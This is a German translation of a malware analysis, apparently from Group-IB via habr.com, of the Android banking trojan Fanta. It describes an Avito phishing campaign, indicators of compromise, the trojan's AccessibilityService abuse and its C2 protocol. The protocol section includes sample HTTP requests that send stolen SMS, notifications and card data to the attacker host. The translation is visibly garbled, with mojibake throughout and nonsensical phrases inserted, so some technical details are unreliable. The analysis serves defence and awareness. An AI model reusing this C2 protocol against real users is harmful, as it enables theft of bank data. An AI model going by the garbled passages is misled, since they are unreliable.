
Eines Tages möchten Sie vielleicht etwas auf Avito verkaufen und nachdem Sie eine detaillierte Beschreibung Ihres Produkts (zum Beispiel ein RAM-Modul) veröffentlicht haben, erhalten Sie so eine Nachricht:
Wenn Sie den Link öffnen, sehen Sie eine scheinbar harmlose Seite, die Sie, den glĂŒcklichen und erfolgreichen VerkĂ€ufer, ĂŒber den Abschluss eines Kaufs informiert:

Nachdem Sie auf die SchaltflĂ€che âWeiterâ geklickt haben, wird eine APK-Datei mit einem vertrauenserweckenden Icon und Namen auf Ihr Android-GerĂ€t heruntergeladen. Sie haben eine App installiert, die aus irgendeinem Grund die Berechtigungen fĂŒr AccessibilityService angefordert hat; danach erscheinen und verschwinden schnell einige Fenster und⊠das war's.
Sie gehen, um Ihren Kontostand zu ĂŒberprĂŒfen, aber Ihre Banking-App fragt aus irgendeinem Grund erneut nach Ihren Kartendaten. Nach der Eingabe der Daten passiert das Schreckliche: Aus einem Ihnen noch unverstĂ€ndlichen Grund beginnen GeldbetrĂ€ge von Ihrem Konto verschwinden. Sie versuchen, das Problem zu lösen, aber Ihr Telefon wehrt sich: Es drĂŒckt von selbst die Tasten âZurĂŒckâ und âHomeâ, lĂ€sst sich nicht ausschalten und aktiviert keine SchutzmaĂnahmen. Am Ende bleiben Sie ohne Geld, Ihr Produkt wurde nicht verkauft, Sie sind verwirrt und fragen sich: Was ist passiert?
Die Antwort ist einfach: Sie sind Opfer eines Android-Trojaners namens Fanta aus der Flexnet-Familie geworden. Wie ist das passiert? Lassen Sie es uns erklÀren.
Autoren: Andrej Polowinkin, Junior Malware-Analyst, Ivan Pisarev, Experte fĂŒr Malware-Analyse.
Ein paar Statistiken
Erstmals wurde die Android-Trojaner-Familie Flexnet im Jahr 2015 bekannt. Ăber einen relativ langen Zeitraum hat sich die Familie auf mehrere Unterarten ausgeweitet: Fanta, Limebot, Lipton usw. Der Trojaner und die dazugehörige Infrastruktur entwickeln sich weiter: Es werden neue, effektive Verbreitungsstrategien entwickelt â in unserem Fall qualitativ hochwertige Phishing-Seiten, die auf spezifische Benutzer und VerkĂ€ufer abzielen. Die Trojaner-Entwickler orientieren sich an den neuesten Trends im Viruswriting und fĂŒgen neue Funktionen hinzu, die das Diebstahl von Geld von infizierten GerĂ€ten effektiver ermöglichen und Schutzmechanismen umgehen.
Die in diesem Artikel beschriebene Kampagne zielt auf Benutzer aus Russland ab, eine geringe Anzahl infizierter GerĂ€te wurde in der Ukraine, noch weniger in Kasachstan und WeiĂrussland festgestellt.
Obwohl Flexnet bereits seit ĂŒber 4 Jahren im Bereich der Android-Trojaner aktiv ist und von vielen Forschern eingehend untersucht wurde, ist er immer noch in guter Verfassung. Seit Januar 2019 wird der potenzielle Gesamtschaden auf ĂŒber 35 Millionen Rubel geschĂ€tzt â und das gilt nur fĂŒr Kampagnen in Russland. Im Jahr 2015 wurden verschiedene Versionen dieses Android-Trojaners auf Untergrundforen verkauft, wo auch der Quellcode des Trojaners mit ausfĂŒhrlicher Beschreibung erhĂ€ltlich war. Das bedeutet, dass die weltweiten Schadensstatistiken noch beeindruckender sind. Nicht schlecht fĂŒr einen alten Bekannten, oder?

Von Verkauf zu Betrug
Wie aus dem zuvor prĂ€sentierten Screenshot der Phishing-Seite fĂŒr den Anzeigenservice Avito hervorgeht, wurde sie speziell fĂŒr ein bestimmtes Opfer erstellt. Anscheinend nutzen die TĂ€ter einen der Avito-Crawler, der die Telefonnummer und den Namen des VerkĂ€ufers sowie die Produktbeschreibung extrahiert. Nachdem die Seite erstellt und die APK-Datei vorbereitet wurde, erhĂ€lt das Opfer eine SMS mit seinem Namen und einem Link zur Phishing-Seite, die die Beschreibung des Produkts und den Betrag enthĂ€lt, der aus dem "Verkauf" des Produkts erzielt wurde. Klickt der Benutzer auf den Button, erhĂ€lt er die schĂ€dliche APK-Datei â Fanta.
Die Untersuchung der Domain shcet491[.]ru hat ergeben, dass sie auf die DNS-Server des Unternehmens Hostinger delegiert ist:
- ns1.hostinger.ru
- ns2.hostinger.ru
- ns3.hostinger.ru
- ns4.hostinger.ru
Die Zonendatei der Domain enthÀlt EintrÀge, die auf IP-Adressen 31.220.23[.]236, 31.220.23[.]243 und 31.220.23[.]235 hinweisen. Der Hauptressourceneintrag der Domain (A-Eintrag) verweist jedoch auf einen Server mit der IP-Adresse 178.132.1[.]240.
Die IP-Adresse 178.132.1[.]240 befindet sich in den Niederlanden und gehört zum Hosting-Anbieter WorldStream. Die IP-Adressen 31.220.23[.]235, 31.220.23[.]236 und 31.220.23[.]243 befinden sich im Vereinigten Königreich und gehören dem virtuellen Hosting-Server HOSTINGER. Als Registrar wird verwendet openprov-ru. Die IP-Adresse 178.132.1[.]240 hat auch die folgenden Domains aufgelöst:
- sdelka-ru[.]ru
- tovar-av[.]ru
- av-tovar[.]ru
- ru-sdelka[.]ru
- shcet382[.]ru
- sdelka221[.]ru
- sdelka211[.]ru
- vyplata437[.]ru
- viplata291[.]ru
- perevod273[.]ru
- perevod901[.]ru
Es ist zu beachten, dass von fast allen Domains Links im folgenden Format verfĂŒgbar waren:
http://(www.){0,1}/[0-9]{7}
Dieses Muster wird auch von einem Link aus einer SMS-Nachricht erfasst. Historischen Daten zufolge wurde festgestellt, dass mehreren Links das oben beschriebene Muster fĂŒr eine Domain zugeordnet ist, was auf die Nutzung einer Domain zur Verbreitung eines Trojaners an mehrere Opfer hinweist.
Wir springen ein wenig nach vorne: Als Steuerungsserver verwendet der ĂŒber den Link aus der SMS heruntergeladene Trojaner die Adresse onuseseddohap[.]club. Diese Domain wurde am 12.03.2019 registriert, und seit dem 29.04.2019 gab es Interaktionen von APK-Anwendungen mit dieser Domain. Basierend auf den von VirusTotal erhaltenen Daten haben insgesamt 109 Anwendungen mit diesem Server interagiert. Die Domain wurde auf die IP-Adresse 217.23.14[.]27, die sich in den Niederlanden befindet und dem Hosting-Anbieter gehört WorldStream. Als Registrar wird namecheap. Auch die Domains bad-racoon[.]club (seit dem 25.09.2018) und bad-racoon[.]live (ab 2018-10-25). Mit Domain bad-racoon[.]club interagierten mehr als 80 APK-Dateien, mit bad-racoon[.]live â ĂŒber 100.
Insgesamt sieht der Angriffsverlauf folgendermaĂen aus:

Was steckt bei Fanta dahinter?
Wie viele andere Android-Trojaner kann Fanta SMS-Nachrichten lesen und senden, USSD-Anfragen durchfĂŒhren und eigene Fenster ĂŒber Anwendungen (einschlieĂlich Bankanwendungen) anzeigen. Das Funktionsspektrum dieser Familie hat jedoch Zuwachs erfahren: Fanta begann, AccessibilityService fĂŒr verschiedene Zwecke zu nutzen: um Benachrichtigungstexte anderer Anwendungen zu lesen, um die Entdeckung und das Stoppen des Trojaners auf dem infizierten GerĂ€t zu verhindern usw. Fanta funktioniert auf allen Android-Versionen, die nicht Ă€lter als 4.4 sind. In diesem Artikel betrachten wir den folgenden Fanta-Muster genauer:
- MD5: 0826bd11b2c130c4c8ac137e395ac2d4
- SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
- SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
Sofort nach dem Start
Direkt nach dem Start versteckt der Trojaner sein Symbol. Die FunktionalitÀt der Anwendung ist nur gegeben, wenn der Name des infizierten GerÀts nicht auf der Liste steht:
- android_x86
- VirtualBox
- Nexus 5X(bullhead)
- Nexus 5(razor)
Diese ĂberprĂŒfung erfolgt im Hauptdienst des Trojaners â MainService. Bei der ersten AusfĂŒhrung erfolgt die Initialisierung der Anwendungsparameter mit Standardwerten (Informationen zum Format der Konfigurationsdaten und deren Bedeutung folgen spĂ€ter) sowie die Registrierung des neuen infizierten GerĂ€ts auf dem Steuerungsserver. An den Server wird eine HTTP POST-Anfrage gesendet, die den Nachrichtentyp register_bot und Informationen ĂŒber das infizierte GerĂ€t (Android-Version, IMEI, Telefonnummer, Anbietername und LĂ€nderkennung, in dem der Anbieter registriert ist) enthĂ€lt. Der Steuerungsserver hat die Adresse hXXp://onuseseddohap[.]club/controller.php. Als Antwort sendet der Server eine Nachricht zurĂŒck, die die folgenden Felder enthĂ€lt: bot_id, bot_pwd, server â diese Werte speichert die Anwendung als Parameter des CnC-Servers. Der Parameter server ist optional, wenn das Feld nicht erhalten wurde: Fanta verwendet die Registrierungsadresse â hXXp://onuseseddohap[.]club/controller.php. Die Funktion zur Ănderung der CnC-Adresse kann genutzt werden, um zwei Aufgaben zu erfĂŒllen: eine gleichmĂ€Ăige Lastverteilung zwischen mehreren Servern (bei einer groĂen Anzahl von infizierten GerĂ€ten kann die Belastung eines nicht optimierten Webservers hoch sein) sowie zur Nutzung eines alternativen Servers, wenn einer der CnC-Server ausfĂ€llt.
Wenn wÀhrend der Anfrage ein Fehler auftritt, wird der Trojaner den Registrierungsprozess in 20 Sekunden wiederholen.
Nach erfolgreicher Registrierung des GerÀts zeigt Fanta dem Benutzer die folgende Nachricht an:

Wichtiger Hinweis: Der Dienst mit dem Namen Sicherheit des Systems ist der Name des Trojaner-Dienstes, und nach dem DrĂŒcken der Taste OK wird ein Fenster mit den Accessibility-Einstellungen des infizierten GerĂ€ts geöffnet, in dem der Benutzer die Accessibility-Rechte fĂŒr den schĂ€dlichen Dienst selbst gewĂ€hren muss:

Sobald der Benutzer die Option aktiviert AccessibilityService, erhĂ€lt Fanta Zugriff auf den Inhalt der Anwendungsfenster und die darin durchgefĂŒhrten Aktionen:

Sofort nach Erhalt der Accessibility-Rechte fordert der Trojaner Administratorrechte und Leserechte fĂŒr Benachrichtigungen an:

Mithilfe des AccessibilityService simuliert die Anwendung Tasteneingaben und gewÀhrt sich so alle benötigten Rechte.
Fanta erstellt mehrere Datenbankexemplare (die spĂ€ter beschrieben werden), die erforderlich sind, um Konfigurationsdaten sowie Informationen ĂŒber das infizierte GerĂ€t zu speichern. Um die gesammelten Informationen zu senden, erstellt der Trojaner eine sich wiederholende Aufgabe, die dafĂŒr vorgesehen ist, Felder aus der Datenbank auszulesen und einen Befehl vom Steuerungsserver zu empfangen. Das Intervall fĂŒr die Kontaktaufnahme mit dem CnC wird je nach Android-Version festgelegt: bei Version 5.1 betrĂ€gt das Intervall 10 Sekunden, andernfalls 60 Sekunden.
Um den Befehl zu erhalten, stellt Fanta eine Anfrage GetTask an den Steuerungsserver. Als Antwort kann das CnC einen der folgenden Befehle senden:
| Der Befehl | Beschreibung |
|---|---|
| 0 | Eine SMS-Nachricht senden |
| 1 | Einen Anruf tĂ€tigen oder einen USSD-Befehl ausfĂŒhren |
| 2 | Den Parameter interval |
| 3 | Den Parameter intercept |
| 6 | Den Parameter smsManager |
| 9 | Mit dem Sammeln von SMS-Nachrichten beginnen |
| 11 | Das Telefon auf die Werkseinstellungen zurĂŒcksetzen |
| 12 | Das Protokollieren von Dialogfenstererstellungen ein-/ausschalten |
Fanta sammelt auch Benachrichtigungen von 70 Anwendungen von Banken, schnellen Zahlungssystemen und elektronischen Geldbörsen und speichert diese in der Datenbank.
Speichern der Konfigurationsparameter
FĂŒr die Speicherung der Konfigurationsparameter nutzt Fanta den Standardansatz fĂŒr die Android-Plattform â Einstellungen-Dateien. Die Einstellungen werden in einer Datei mit dem Namen settingsgespeichert. Eine Beschreibung der gespeicherten Parameter ist in der Tabelle unten aufgefĂŒhrt.
| Name | Standardwert | Mögliche Werte | Beschreibung |
|---|---|---|---|
| id | 0 | Ganzzahl | Bot-Identifikator |
| server | hXXp://onuseseddohap[.]club/ | URL | Adresse des Steuerungsservers |
| pwd | â | fĂŒr einfache Datentypen und Debugging. | Passwort fĂŒr den Server |
| interval | 20 | Ganzzahl | Zeitintervall. Zeigt an, um wie viel das AusfĂŒhren der folgenden Aufgaben verschoben werden soll:
|
| intercept | all | all/telNumber | Wenn das Feld gleich der Zeichenkette all oder telNumber, wird die empfangene SMS-Nachricht von der Anwendung abgefangen und dem Benutzer nicht angezeigt. |
| smsManager | 0 | 0/1 | Aktivierung/Deaktivierung der Anwendung als standardmĂ€Ăigen SMS-EmpfĂ€nger |
| readDialog | false | Wahr/Falsch | Aktivierung/Deaktivierung der Ereignisprotokollierung AccessibilityEvent |
AuĂerdem nutzt Fanta die Datei smsManager:
| Name | Standardwert | Mögliche Werte | Beschreibung |
|---|---|---|---|
| pckg | â | fĂŒr einfache Datentypen und Debugging. | Name des verwendeten SMS-Manager |
Interaktion mit Datenbanken
Im Verlauf seiner Arbeit verwendet der Trojaner zwei Datenbanken. Die Datenbank mit dem Namen a wird zur Speicherung verschiedener Informationen genutzt, die vom Telefon gesammelt wurden. Die zweite Datenbank trĂ€gt den Namen fanta.db und wird verwendet, um Einstellungen zu speichern, die fĂŒr das Erstellen von Phishing-Fenstern verantwortlich sind, die darauf abzielen, Informationen ĂŒber Bankkarten zu sammeln.
Der Trojaner verwendet eine Datenbank Ăber 40.000 Kunden in mehr als 120 LĂ€ndern zum Speichern gesammelter Informationen und zum Protokollieren seiner AktivitĂ€ten. Die Daten werden in einer Tabelle gespeichert logs. Um die Tabelle zu erstellen, wird folgende SQL-Abfrage verwendet:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)Die Datenbank enthÀlt folgende Informationen:
1. Protokollierung des Einschaltens des infizierten GerÀts mit der Nachricht Das Telefon wurde eingeschaltet!
2. Benachrichtigungen von Anwendungen. Die Nachricht wird nach folgendem Muster erstellt:
(<%App Name%>)<%Title%>: <%Notification text%>
3. Daten von Bankkarten aus den vom Trojaner erstellten Phishing-Formularen. Der Parameter VIEW_NAME kann einer der folgenden sein:
- AliExpress
- Avito
- Google Play
- Verschiedenes <%App Name%>
Die Nachricht wird im folgenden Format protokolliert:
[() Kartennummer:; Datum:/; CVV:
4. Eingehende/ausgehende SMS-Nachrichten im Format:
([<%Time in format HH:mm:ss dd.MM.yyyy%>] Typ: Eingehend/Ausgehend) <%Mobile number%>:<%SMS-text%>
5. Informationen ĂŒber das Paket, das das Dialogfenster erstellt, im Format:
(<%Package name%>)<%Package information%>
Beispiel Tabelle logs:

Eine der Funktionen von Fanta ist das Sammeln von Informationen ĂŒber Bankkarten. Die Datenerfassung erfolgt durch das Erstellen von Phishing-Fenstern beim Ăffnen von Bankanwendungen. Der Trojaner erstellt das Phishing-Fenster nur einmal. Informationen darĂŒber, dass das Fenster dem Benutzer angezeigt wurde, werden in der Tabelle gespeichert. settings in der Datenbank fanta.db. Um die Datenbank zu erstellen, wird die folgende SQL-Abfrage verwendet:
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);Alle Tabellenfelder settings werden standardmĂ€Ăig mit dem Wert 1 (Phishing-Fenster erstellen) initialisiert. Nachdem der Benutzer seine Daten eingegeben hat, wird der Wert auf 0 gesetzt. Beispiel fĂŒr Felder der Tabelle settings:
- can_login â das Feld steuert die Anzeige des Formulars beim Ăffnen der Bankanwendung
- first_bank â wird nicht verwendet
- can_avito â das Feld steuert die Anzeige des Formulars beim Ăffnen der Avito-Anwendung
- can_ali â das Feld steuert die Anzeige des Formulars beim Ăffnen der Aliexpress-Anwendung
- can_another â das Feld steuert die Anzeige des Formulars beim Ăffnen einer beliebigen Anwendung aus der Liste: Jula, Pandao, Drom Auto, Geldbörse. Rabatt- und Bonuskarten, Aviasales, Booking, Trivago
- can_card â Dieses Feld ist fĂŒr die Anzeige des Formulars beim Ăffnen zustĂ€ndig Google Play
Interaktion mit dem Management-Server
Die Netzwerkinteraktion mit dem Management-Server erfolgt ĂŒber das HTTP-Protokoll. FĂŒr die Netzwerkkommunikation verwendet Fanta die beliebte Bibliothek Retrofit. Anfragen werden an die Adresse gesendet hXXp://onuseseddohap[.]club/controller.php. Die Serveradresse kann bei der Registrierung auf dem Server geĂ€ndert werden. Vom Server können Cookies als Antwort zurĂŒckkommen. Fanta fĂŒhrt folgende Anfragen an den Server durch:
- Die Registrierung des Bots auf dem Management-Server erfolgt einmalig beim ersten Start. Folgende Daten ĂŒber das infizierte GerĂ€t werden an den Server gesendet:
· Cookies â erhaltene Cookies vom Server (Standardwert â leerer String)
· Modus â String-Konstante register_bot
· prefix â Ganzzahlkonstante 2
· version_sdk â wird nach folgendem Muster gebildet: / (Avit)
· imei â IMEI des infizierten GerĂ€ts
· country â LĂ€ndercode des registrierten Betreibers im ISO-Format
· number â Telefonnummer
· operator â Name des BetreibersBeispiel einer Anfrage, die an den Server gesendet wird:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 144 Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=register_bot&prefix=2&version_sdk=&imei=&country=&number=&operator=Als Antwort auf die Anfrage sollte der Server ein JSON-Objekt zurĂŒckgeben, das die folgenden Parameter enthĂ€lt:
· bot_id â die ID des infizierten GerĂ€ts. Wenn bot_id gleich 0 ist, wird Fanta die Anfrage erneut ausfĂŒhren.
· bot_pwd â das Passwort fĂŒr den Server.
· server â die Adresse des Kontrollservers. Optionaler Parameter. Wenn der Parameter nicht angegeben ist, wird die im Anwendung gespeicherte Adresse verwendet.Beispiel fĂŒr ein JSON-Objekt:
{ "response":[ { "bot_id": , "bot_pwd": , "server": } ], "status":"ok" }
- Anfrage zum Erhalten eines Kommandos vom Server. Folgende Daten werden an den Server gesendet:
· Cookies â die erhaltenen Cookies vom Server
· bid â id des infizierten GerĂ€ts, die bei der Anfrage erhalten wurde register_bot
· pwd â Passwort fĂŒr den Server
· divice_admin â Feld, das angibt, ob Administratorrechte erhalten wurden. Wenn die Administratorrechte erhalten wurden, ist das Feld gleich 1, andernfalls 0
· ZugĂ€nglichkeit â Status der Accessibility Service. Wenn der Dienst aktiv war, betrĂ€gt der Wert 1, andernfalls 0
· SMSManager â zeigt an, ob der Trojaner als Standardanwendung zum Empfang von SMS eingerichtet ist
· screen â zeigt an, in welchem Zustand sich der Bildschirm befindet. Der Wert wird festgelegt 1, wenn der Bildschirm eingeschaltet ist, andernfalls 0;Beispiel einer Anfrage, die an den Server gesendet wird:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=getTask&bid=&pwd=&divice_admin=&Accessibility=&SMSManager=&screen=AbhĂ€ngig vom Befehl kann der Server ein JSON-Objekt mit verschiedenen Parametern zurĂŒckgeben:
· Der Befehl Eine SMS-Nachricht senden: In den Parametern sind die Telefonnummer, der Text der SMS-Nachricht und die ID der gesendeten Nachricht enthalten. Die ID wird verwendet, wenn die Nachricht an den Server mit dem Typ setSmsStatus.
{ "response": [ { "mode": 0, "sms_number": <%SMS_NUMBER%>, "sms_text": <%SMS_TEXT%>, "sms_id": %SMS_ID% } ], "status":"ok" }· Der Befehl Einen Anruf tĂ€tigen oder einen USSD-Befehl ausfĂŒhren: Die Telefonnummer oder der Befehl kommt im Antwortkörper an.
{ "response": [ { "mode": 1, "command": <%TEL_NUMBER%> } ], "status":"ok" }· Der Befehl Parameterintervall Àndern.
{ "response": [ { "mode": 2, "interval": <%SECONDS%> } ], "status":"ok" }· Der Befehl Parameter intercept Àndern.
{ "response": [ { "mode": 3, "intercept": "all"/"telNumber"/ } ], "status":"ok" }· Der Befehl Feld SmsManager Àndern.
{ "response": [ { "mode": 6, "enable": 0/1 } ], "status":"ok" }· Der Befehl SMS-Nachrichten von dem infizierten GerÀt abrufen.
{ "response": [ { "mode": 9 } ], "status":"ok" }· Der Befehl Das Telefon auf die Werkseinstellungen zurĂŒcksetzen:
{ "response": [ { "mode": 11 } ], "status":"ok" }· Der Befehl Parameter ReadDialog Àndern.
{ "response": [ { "mode": 12, "enable": 0/1 } ], "status":"ok" }
- Nachricht mit Typ senden setSmsStatus. Diese Anfrage wird nach der AusfĂŒhrung des Befehls gesendet Eine SMS-Nachricht senden. Die Anfrage sieht folgendermaĂen aus:
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>- Inhalt der Datenbank senden. Bei einer Anfrage wird eine Zeile ĂŒbertragen. Die folgenden Daten werden an den Server gesendet:
· Cookies â die erhaltenen Cookies vom Server
· Modus â String-Konstante setSaveInboxSms
· bid â id des infizierten GerĂ€ts, die bei der Anfrage erhalten wurde register_bot
· text â Text im aktuellen Datenbankeintrag (Feld d aus der Tabelle logs in der Datenbank Ăber 40.000 Kunden in mehr als 120 LĂ€ndern)
· number â Bezeichnung des aktuellen Datenbankeintrags (Feld p aus der Tabelle logs in der Datenbank Ăber 40.000 Kunden in mehr als 120 LĂ€ndern)
· sms_mode â ganzzahliger Wert (Feld m aus der Tabelle logs in der Datenbank Ăber 40.000 Kunden in mehr als 120 LĂ€ndern)Die Anfrage sieht folgendermaĂen aus:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>Bei erfolgreicher Ăbertragung an den Server wird der Eintrag aus der Tabelle gelöscht. Beispiel eines vom Server zurĂŒckgegebenen JSON-Objekts:
{ "response":[], "status":"ok" }
Interaktion mit AccessibilityService
AccessibilityService wurde implementiert, um die Verwendung von Android-GerĂ€ten fĂŒr Menschen mit Behinderungen zu erleichtern. In den meisten FĂ€llen ist eine physische Interaktion erforderlich, um mit der Anwendung zu interagieren. AccessibilityService ermöglicht die Programmierung solcher Interaktionen. Fanta nutzt diesen Dienst, um gefĂ€lschte Fenster in Bankanwendungen zu erstellen und das Ăffnen von Systemeinstellungen und bestimmten Anwendungen zu verhindern.
Durch die Nutzung der Funktionen von AccessibilityService verfolgt der Trojaner Ănderungen an den Elementen auf dem Bildschirm des infizierten GerĂ€ts. Wie bereits erwĂ€hnt, enthĂ€lt die Fanta-Einstellung einen Parameter, der fĂŒr das Protokollieren von Aktionen mit Dialogfenstern verantwortlich ist â readDialog. Wenn dieser Parameter aktiviert ist, werden Informationen ĂŒber den Namen und die Beschreibung des Pakets, das das Ereignis ausgelöst hat, in die Datenbank aufgenommen. Der Trojaner fĂŒhrt folgende Aktionen bei Auftreten von Ereignissen durch:
- Simuliert das DrĂŒcken der Tasten zurĂŒck und Home im Falle von:
· wenn der Benutzer sein GerÀt neu starten möchte
· wenn der Benutzer die App âAvitoâ deinstallieren oder die Berechtigungen Ă€ndern möchte
· wenn auf der Seite die App âAvitoâ erwĂ€hnt wird
· beim Ăffnen der App âGoogle Play Schutzâ
· beim Ăffnen der Seiten mit den Einstellungen fĂŒr AccessibilityService
· bei Auftreten des Dialogfensters âSystem Sicherheitâ
· beim Ăffnen der Seite mit den Einstellungen âĂber anderen Apps anzeigenâ
· beim Ăffnen der Seiten âAppsâ, âWiederherstellung und ZurĂŒcksetzenâ, âDaten zurĂŒcksetzenâ, âEinstellungen zurĂŒcksetzenâ, âEntwickleroptionenâ, âErleichterte Bedienungâ, âBesondere Funktionenâ, âBesondere Berechtigungenâ
· wenn das Ereignis von bestimmten Apps generiert wurde.Liste der Anwendungen
- android
- Master Lite
- Clean Master
- Clean Master fĂŒr x86 CPU
- Meizu Anwendungsberechtigungsverwaltung
- MIUI Sicherheit
- Clean Master â Antivirus & Cache- und Junk-Dateien Reinigung
- Elternkontrolle und GPS: Kaspersky SafeKids
- Kaspersky Antivirus AppLock & Web Security Beta
- Virus Cleaner, Antivirus, Cleaner (MAX Security)
- Mobile AntiVirus Security PRO
- Avast Antivirus & kostenlose Sicherheit 2019
- Mobile Sicherheit ĐĐ”ĐłĐ°Đ€ĐŸĐœ
- AVG Schutz fĂŒr Xperia
- Mobile Sicherheit
- Malwarebytes Antivirus & Schutz
- Antivirus fĂŒr Android 2019
- Security Master â Antivirus, VPN, AppLock, Booster
- AVG Antivirus fĂŒr Huawei Tablet Systemmanager
- Samsung Barrierefreiheit
- Samsung Smart Manager
- Security Master
- Speed Booster
- Dr.Web
- Dr.Web Sicherheitsraum
- Dr.Web Mobile Control Center
- Dr.Web Sicherheitsraum Life
- Dr.Web Mobile Control Center
- Antivirus & Mobile Sicherheit
- Kaspersky Internet Security: Antivirus und Schutz
- Kaspersky Battery Life: Akku-Sparer & Booster
- Kaspersky Endpoint Security â Schutz und Verwaltung
- AVG Antivirus kostenlos 2019 â Schutz fĂŒr Android
- Antivirus Android
- Norton Mobile Security und Antivirus
- Antivirus, Firewall, VPN, mobile Sicherheit
- Mobile Sicherheit: Antivirus, VPN, Diebstahlschutz
- Antivirus fĂŒr Android
- Wenn beim Senden einer SMS an eine Kurzwahl die Erlaubnis angefordert wird, simuliert Fanta das DrĂŒcken des KontrollkĂ€stchens. Auswahl merken und die SchaltflĂ€che senden.
- Wenn versucht wird, einem Trojaner Admin-Rechte zu entziehen, wird der Bildschirm des Telefons blockiert.
- Verhindert das HinzufĂŒgen neuer Administratoren.
- Falls die Antivirus-App dr.web eine Bedrohung entdeckt hat, simuliert Fanta das DrĂŒcken der SchaltflĂ€che ignorieren.
- Der Trojaner simuliert das DrĂŒcken der SchaltflĂ€chen zurĂŒck und Home, wenn das Ereignis von der Samsung GerĂ€tepflege.
- Fanta erstellt Phishing-Fenster mit Formularen fĂŒr die Eingabe von Bankkarteninformationen, wenn eine App aus einer Liste gestartet wurde, die etwa 30 verschiedene Internetdienste umfasst. Dazu gehören: AliExpress, Booking, Avito, Google Play Market, Pandao, Drom Auto und andere.
Phishing-Formulare
Fanta analysiert, welche Anwendungen auf dem infizierten GerĂ€t gestartet werden. Wenn eine relevante Anwendung geöffnet wurde, zeigt der Trojaner ein Phishing-Fenster ĂŒber allen anderen an, das ein Formular zur Eingabe von Bankkarteninformationen darstellt. Der Benutzer muss die folgenden Daten eingeben:
- Kartennummer
- GĂŒltigkeitsdatum der Karte
- CVV
- Name des Karteninhabers (nicht bei allen Banken erforderlich)
Je nach geöffneter Anwendung werden unterschiedliche Phishing-Fenster angezeigt. Im Folgenden sind einige Beispiele aufgefĂŒhrt:
Aliexpress:

Avito:
FĂŒr einige andere Anwendungen, zum Beispiel Google Play Market, Aviasales, Pandao, Booking, Trivago:

Wie es tatsÀchlich war
GlĂŒcklicherweise war die Person, die die zu Beginn des Artikels erwĂ€hnte SMS erhielt, ein Experte im Bereich Cybersecurity. Daher unterscheidet sich die tatsĂ€chliche, nicht inszenierte Version von der zuvor erzĂ€hlten: Die Person erhielt eine interessante SMS und ĂŒbergab diese an das Team von Group-IB Threat Hunting Intelligence. Das Ergebnis dieses Vorfalls ist dieser Artikel. Ein glĂŒckliches Ende, nicht wahr? Allerdings enden nicht alle Geschichten so erfolgreich, und um zu vermeiden, dass Ihre wie die inszenierte Version mit finanziellen Verlusten endet, genĂŒgt es in den meisten FĂ€llen, sich an die folgenden, schon lange beschriebenen Regeln zu halten:
- keine Apps fĂŒr das Android-Betriebssystem aus Quellen zu installieren, die nicht Google Play sind
- bei der Installation von Apps besonders auf die angeforderten Berechtigungen zu achten
- auf die Dateiendungen heruntergeladener Dateien zu achten
- regelmĂ€Ăig Updates fĂŒr das Android-Betriebssystem zu installieren
- verdÀchtige Webseiten zu meiden und von dort keine Dateien herunterzuladen
- nicht auf Links in erhaltenen SMS zu klicken.
Quelle: habr.com



